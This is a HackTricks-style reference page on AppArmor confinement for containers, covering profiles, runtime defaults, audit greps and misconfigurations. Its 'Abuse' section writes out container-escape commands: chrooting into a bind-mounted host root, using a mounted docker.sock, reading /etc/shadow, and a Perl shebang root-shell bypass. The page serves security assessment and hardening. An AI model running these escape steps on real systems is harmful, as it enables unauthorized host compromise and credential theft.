apparmor.md (18203B)
1 --- 2 title: "AppArmor" 3 section: "Linux" 4 sectionSlug: "linux-hardening" 5 sourcePath: "src/linux-hardening/containers-namespaces/container-security/protections/apparmor.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/containers-namespaces/container-security/protections/apparmor.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # AppArmor 14 15 ## Overview 16 17 AppArmor is a **Mandatory Access Control** system that applies restrictions through per-program profiles. Unlike traditional DAC checks, which depend heavily on user and group ownership, AppArmor lets the kernel enforce a policy attached to the process itself. In container environments, this matters because a workload may have enough traditional privilege to attempt an action and still be denied because its AppArmor profile does not allow the relevant path, mount, network behavior, or capability use. 18 19 The most important conceptual point is that AppArmor is **path-based**. It reasons about filesystem access through path rules rather than through labels as SELinux does. That makes it approachable and powerful, but it also means bind mounts and alternate path layouts deserve careful attention. If the same host content becomes reachable under a different path, the effect of the policy may not be what the operator first expected. 20 21 ## Role In Container Isolation 22 23 Container security reviews often stop at capabilities and seccomp, but AppArmor continues to matter after those checks. Imagine a container that has more privilege than it should, or a workload that needed one extra capability for operational reasons. AppArmor can still constrain file access, mount behavior, networking, and execution patterns in ways that stop the obvious abuse path. This is why disabling AppArmor "just to get the application working" can quietly transform a merely risky configuration into one that is actively exploitable. 24 25 ## Lab 26 27 To check whether AppArmor is active on the host, use: 28 29 ```bash 30 aa-status 2>/dev/null || apparmor_status 2>/dev/null 31 cat /sys/module/apparmor/parameters/enabled 2>/dev/null 32 ``` 33 34 To see what the current container process is running under: 35 36 ```bash 37 docker run --rm ubuntu:24.04 cat /proc/self/attr/current 38 docker run --rm --security-opt apparmor=unconfined ubuntu:24.04 cat /proc/self/attr/current 39 ``` 40 41 The difference is instructive. In the normal case, the process should show an AppArmor context tied to the profile chosen by the runtime. In the unconfined case, that extra restriction layer disappears. 42 43 You can also inspect what Docker thinks it applied: 44 45 ```bash 46 docker inspect <container> | jq '.[0].AppArmorProfile' 47 ``` 48 49 ## Runtime Usage 50 51 Docker can apply a default or custom AppArmor profile when the host supports it. Podman can also integrate with AppArmor on AppArmor-based systems, although on SELinux-first distributions the other MAC system often takes center stage. Kubernetes can expose AppArmor policy at the workload level on nodes that actually support AppArmor. LXC and related Ubuntu-family system-container environments also use AppArmor extensively. 52 53 The practical point is that AppArmor is not a "Docker feature". It is a host-kernel feature that several runtimes can choose to apply. If the host does not support it or the runtime is told to run unconfined, the supposed protection is not really there. 54 55 For Kubernetes specifically, the modern API is `securityContext.appArmorProfile`. Since Kubernetes `v1.30`, the older beta AppArmor annotations are deprecated. On supported hosts, `RuntimeDefault` is the default profile, while `Localhost` points at a profile that must already be loaded on the node. This matters during review because a manifest may look AppArmor-aware while still depending entirely on node-side support and preloaded profiles.<sup>[[1]](#references)</sup> 56 57 One subtle but useful operational detail is that explicitly setting `appArmorProfile.type: RuntimeDefault` is stricter than simply omitting the field. If the field is explicitly set and the node does not support AppArmor, admission should fail. If the field is omitted, the workload may still run on a node without AppArmor and simply not receive that extra confinement layer. From an attacker's point of view, this is a good reason to check both the manifest and the actual node state.<sup>[[1]](#references)</sup> 58 59 On Docker-capable AppArmor hosts, the best-known default is `docker-default`. That profile is generated from Moby's AppArmor template and is important because it explains why some capability-based PoCs still fail in a default container. In broad terms, `docker-default` allows ordinary networking, denies writes to much of `/proc`, denies access to sensitive parts of `/sys`, blocks mount operations, and restricts ptrace so that it is not a general host-probing primitive. Understanding that baseline helps distinguish "the container has `CAP_SYS_ADMIN`" from "the container can actually use that capability against the kernel interfaces I care about". 60 61 ## Profile Management 62 63 AppArmor profiles are usually stored under `/etc/apparmor.d/`. A common naming convention is to replace slashes in the executable path with dots. For example, a profile for `/usr/bin/man` is commonly stored as `/etc/apparmor.d/usr.bin.man`. This detail matters during both defense and assessment because once you know the active profile name, you can often locate the corresponding file quickly on the host. 64 65 Useful host-side management commands include: 66 67 ```bash 68 aa-status 69 aa-enforce 70 aa-complain 71 apparmor_parser 72 aa-genprof 73 aa-logprof 74 aa-mergeprof 75 ``` 76 77 The reason these commands matter in a container-security reference is that they explain how profiles are actually built, loaded, switched to complain mode, and modified after application changes. If an operator has a habit of moving profiles into complain mode during troubleshooting and forgetting to restore enforcement, the container may look protected in documentation while behaving much more loosely in reality. 78 79 ### Building And Updating Profiles 80 81 `aa-genprof` can observe application behavior and help generate a profile interactively: 82 83 ```bash 84 sudo aa-genprof /path/to/binary 85 /path/to/binary 86 ``` 87 88 `aa-easyprof` can generate a template profile that can later be loaded with `apparmor_parser`: 89 90 ```bash 91 sudo aa-easyprof /path/to/binary 92 sudo apparmor_parser -a /etc/apparmor.d/path.to.binary 93 ``` 94 95 When the binary changes and the policy needs updating, `aa-logprof` can replay denials found in logs and assist the operator in deciding whether to allow or deny them: 96 97 ```bash 98 sudo aa-logprof 99 ``` 100 101 ### Logs 102 103 AppArmor denials are often visible through `auditd`, syslog, or tools such as `aa-notify`: 104 105 ```bash 106 sudo aa-notify -s 1 -v 107 ``` 108 109 This is useful operationally and offensively. Defenders use it to refine profiles. Attackers use it to learn which exact path or operation is being denied and whether AppArmor is the control blocking an exploit chain. 110 111 ### Identifying The Exact Profile File 112 113 When a runtime shows a specific AppArmor profile name for a container, it is often useful to map that name back to the profile file on disk: 114 115 ```bash 116 docker inspect <container> | grep AppArmorProfile 117 find /etc/apparmor.d/ -maxdepth 1 -name '*<profile-name>*' 2>/dev/null 118 ``` 119 120 This is especially useful during host-side review because it bridges the gap between "the container says it is running under profile `lowpriv`" and "the actual rules live in this specific file that can be audited or reloaded". 121 122 ### High-Signal Rules To Audit 123 124 When you can read a profile, do not stop at simple `deny` lines. Several rule types materially change how useful AppArmor will be against a container escape attempt:<sup>[[2]](#references)</sup> 125 126 - `ux` / `Ux`: execute the target binary unconfined. If a reachable helper, shell, or interpreter is allowed under `ux`, that is usually the first thing to test. 127 - `px` / `Px` and `cx` / `Cx`: perform profile transitions on exec. These are not automatically bad, but they are worth auditing because a transition may land in a much broader profile than the current one. 128 - `change_profile`: allows a task to switch into another loaded profile, immediately or at next exec. If the destination profile is weaker, this can become the intended escape hatch out of a restrictive domain. 129 - `flags=(complain)`, `flags=(unconfined)`, or newer `flags=(prompt)`: these should change how much trust you place in the profile. `complain` logs denials instead of enforcing them, `unconfined` removes the boundary, and `prompt` depends on a userspace decision path rather than pure kernel-enforced deny. 130 - `userns` or `userns create,`: newer AppArmor policy can mediate creation of user namespaces. If a container profile explicitly allows it, nested user namespaces remain in play even when the platform uses AppArmor as part of its hardening strategy. 131 132 Useful host-side grep: 133 134 ```bash 135 grep -REn '(^|[[:space:]])(ux|Ux|px|Px|cx|Cx|pix|Pix|cix|Cix|pux|PUx|cux|CUx|change_profile|userns)\b|flags=\(.*(complain|unconfined|prompt).*\)' /etc/apparmor.d 2>/dev/null 136 ``` 137 138 This kind of audit is often more useful than staring at hundreds of ordinary file rules. If a breakout depends on executing a helper, entering a new namespace, or escaping into a less restrictive profile, the answer is often hidden in these transition-oriented rules rather than in the obvious `deny /etc/shadow r` style lines. 139 140 ## Misconfigurations 141 142 The most obvious mistake is `apparmor=unconfined`. Administrators often set it while debugging an application that failed because the profile correctly blocked something dangerous or unexpected. If the flag remains in production, the entire MAC layer has effectively been removed. 143 144 Another subtle problem is assuming that bind mounts are harmless because the file permissions look normal. Since AppArmor is path-based, exposing host paths under alternate mount locations can interact badly with path rules. A third mistake is forgetting that a profile name in a config file means very little if the host kernel is not actually enforcing AppArmor. 145 146 ## Abuse 147 148 When AppArmor is gone, operations that were previously constrained may suddenly work: reading sensitive paths through bind mounts, accessing parts of procfs or sysfs that should have remained harder to use, performing mount-related actions if capabilities/seccomp also permit them, or using paths that a profile would normally deny. AppArmor is often the mechanism that explains why a capability-based breakout attempt "should work" on paper but still fails in practice. Remove AppArmor, and the same attempt may start succeeding. 149 150 If you suspect AppArmor is the main thing stopping a path-traversal, bind-mount, or mount-based abuse chain, the first step is usually to compare what becomes accessible with and without a profile. For example, if a host path is mounted inside the container, start by checking whether you can traverse and read it: 151 152 ```bash 153 cat /proc/self/attr/current 154 find /host -maxdepth 2 -ls 2>/dev/null | head 155 find /host/etc -maxdepth 1 -type f 2>/dev/null | head 156 ``` 157 158 If the container also has a dangerous capability such as `CAP_SYS_ADMIN`, one of the most practical tests is whether AppArmor is the control blocking mount operations or access to sensitive kernel filesystems: 159 160 ```bash 161 capsh --print | grep cap_sys_admin 162 mount | head 163 mkdir -p /tmp/testmnt 164 mount -t proc proc /tmp/testmnt 2>/dev/null || echo "mount blocked" 165 mount -t tmpfs tmpfs /tmp/testmnt 2>/dev/null || echo "tmpfs blocked" 166 ``` 167 168 In environments where a host path is already available through a bind mount, losing AppArmor may also turn a read-only information-disclosure issue into direct host file access: 169 170 ```bash 171 ls -la /host/root 2>/dev/null 172 cat /host/etc/shadow 2>/dev/null | head 173 find /host/var/run -maxdepth 2 -name '*.sock' 2>/dev/null 174 ``` 175 176 The point of these commands is not that AppArmor alone creates the breakout. It is that once AppArmor is removed, many filesystem and mount-based abuse paths become testable immediately. 177 178 ### Full Example: AppArmor Disabled + Host Root Mounted 179 180 If the container already has the host root bind-mounted at `/host`, removing AppArmor can turn a blocked filesystem abuse path into a complete host escape: 181 182 ```bash 183 cat /proc/self/attr/current 184 ls -la /host 185 chroot /host /bin/bash 2>/dev/null || /host/bin/bash -p 186 ``` 187 188 Once the shell is executing through the host filesystem, the workload has effectively escaped the container boundary: 189 190 ```bash 191 id 192 hostname 193 cat /etc/shadow | head 194 ``` 195 196 ### Full Example: AppArmor Disabled + Runtime Socket 197 198 If the real barrier was AppArmor around runtime state, a mounted socket can be enough for a complete escape: 199 200 ```bash 201 find /host/run /host/var/run -maxdepth 2 -name docker.sock 2>/dev/null 202 docker -H unix:///host/var/run/docker.sock run --rm -it -v /:/mnt ubuntu chroot /mnt bash 2>/dev/null 203 ``` 204 205 The exact path depends on the mount point, but the end result is the same: AppArmor is no longer preventing access to the runtime API, and the runtime API can launch a host-compromising container. 206 207 ### Full Example: Path-Based Bind-Mount Bypass 208 209 Because AppArmor is path-based, protecting `/proc/**` does not automatically protect the same host procfs content when it is reachable through a different path: 210 211 ```bash 212 mount | grep '/host/proc' 213 find /host/proc/sys -maxdepth 3 -type f 2>/dev/null | head -n 20 214 cat /host/proc/sys/kernel/core_pattern 2>/dev/null 215 ``` 216 217 The impact depends on what exactly is mounted and whether the alternate path also bypasses other controls, but this pattern is one of the clearest reasons AppArmor must be evaluated together with mount layout rather than in isolation. 218 219 ### Full Example: Shebang Bypass 220 221 AppArmor policy sometimes targets an interpreter path in a way that does not fully account for script execution through shebang handling. A historical example involved using a script whose first line points at a confined interpreter:<sup>[[3]](#references)</sup> 222 223 ```bash 224 cat <<'EOF' > /tmp/test.pl 225 #!/usr/bin/perl 226 use POSIX qw(setuid); 227 POSIX::setuid(0); 228 exec "/bin/sh"; 229 EOF 230 chmod +x /tmp/test.pl 231 /tmp/test.pl 232 ``` 233 234 This kind of example is important as a reminder that profile intent and actual execution semantics can diverge. When reviewing AppArmor in container environments, interpreter chains and alternate execution paths deserve special attention. 235 236 ## Checks 237 238 The goal of these checks is to answer three questions quickly: is AppArmor enabled on the host, is the current process confined, and did the runtime actually apply a profile to this container? 239 240 ```bash 241 cat /proc/self/attr/current # Current AppArmor label for this process 242 aa-status 2>/dev/null # Host-wide AppArmor status and loaded/enforced profiles 243 docker inspect <container> | jq '.[0].AppArmorProfile' # Profile the runtime says it applied 244 find /etc/apparmor.d -maxdepth 1 -type f 2>/dev/null | head -n 50 # Host-side profile inventory when visible 245 cat /sys/kernel/security/apparmor/profiles 2>/dev/null | sort | head -n 50 # Loaded profiles straight from securityfs 246 grep -REn '(^|[[:space:]])(ux|Ux|px|Px|cx|Cx|pix|Pix|cix|Cix|pux|PUx|cux|CUx|change_profile|userns)\b|flags=\(.*(complain|unconfined|prompt).*\)' /etc/apparmor.d 2>/dev/null 247 ``` 248 249 What is interesting here: 250 251 - If `/proc/self/attr/current` shows `unconfined`, the workload is not benefiting from AppArmor confinement. 252 - If `aa-status` shows AppArmor disabled or not loaded, any profile name in the runtime config is mostly cosmetic. 253 - If `docker inspect` shows `unconfined` or an unexpected custom profile, that is often the reason a filesystem or mount-based abuse path works. 254 - If `/sys/kernel/security/apparmor/profiles` does not contain the profile you expected, the runtime or orchestrator configuration is not enough by itself. 255 - If a supposedly hardened profile contains `ux`, broad `change_profile`, `userns`, or `flags=(complain)` style rules, the practical boundary may be much weaker than the profile name suggests. 256 257 If a container already has elevated privileges for operational reasons, leaving AppArmor enabled often makes the difference between a controlled exception and a much broader security failure. 258 259 ## Runtime Defaults 260 261 | Runtime / platform | Default state | Default behavior | Common manual weakening | 262 | --- | --- | --- | --- | 263 | Docker Engine | Enabled by default on AppArmor-capable hosts | Uses the `docker-default` AppArmor profile unless overridden | `--security-opt apparmor=unconfined`, `--security-opt apparmor=<profile>`, `--privileged` | 264 | Podman | Host-dependent | AppArmor is supported through `--security-opt`, but the exact default is host/runtime dependent and less universal than Docker's documented `docker-default` profile | `--security-opt apparmor=unconfined`, `--security-opt apparmor=<profile>`, `--privileged` | 265 | Kubernetes | Conditional default | If `appArmorProfile.type` is not specified, the default is `RuntimeDefault`, but it is only applied when AppArmor is enabled on the node | `securityContext.appArmorProfile.type: Unconfined`, `securityContext.appArmorProfile.type: Localhost` with a weak profile, nodes without AppArmor support | 266 | containerd / CRI-O under Kubernetes | Follows node/runtime support | Common Kubernetes-supported runtimes support AppArmor, but actual enforcement still depends on node support and workload settings | Same as Kubernetes row; direct runtime configuration can also skip AppArmor entirely | 267 268 For AppArmor, the most important variable is often the **host**, not only the runtime. A profile setting in a manifest does not create confinement on a node where AppArmor is not enabled. 269 270 ## References 271 272 - [1] [Kubernetes security context: AppArmor profile fields and node-support behavior](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) 273 - [2] [Ubuntu 24.04 `apparmor.d(5)` manpage: exec transitions, `change_profile`, `userns`, and profile flags](https://manpages.ubuntu.com/manpages/noble/en/man5/apparmor.d.5.html) 274 - [3] [HTB: Nunchucks - AppArmor shebang bypass with a Perl script](https://0xdf.gitlab.io/2021/11/02/htb-nunchucks.html)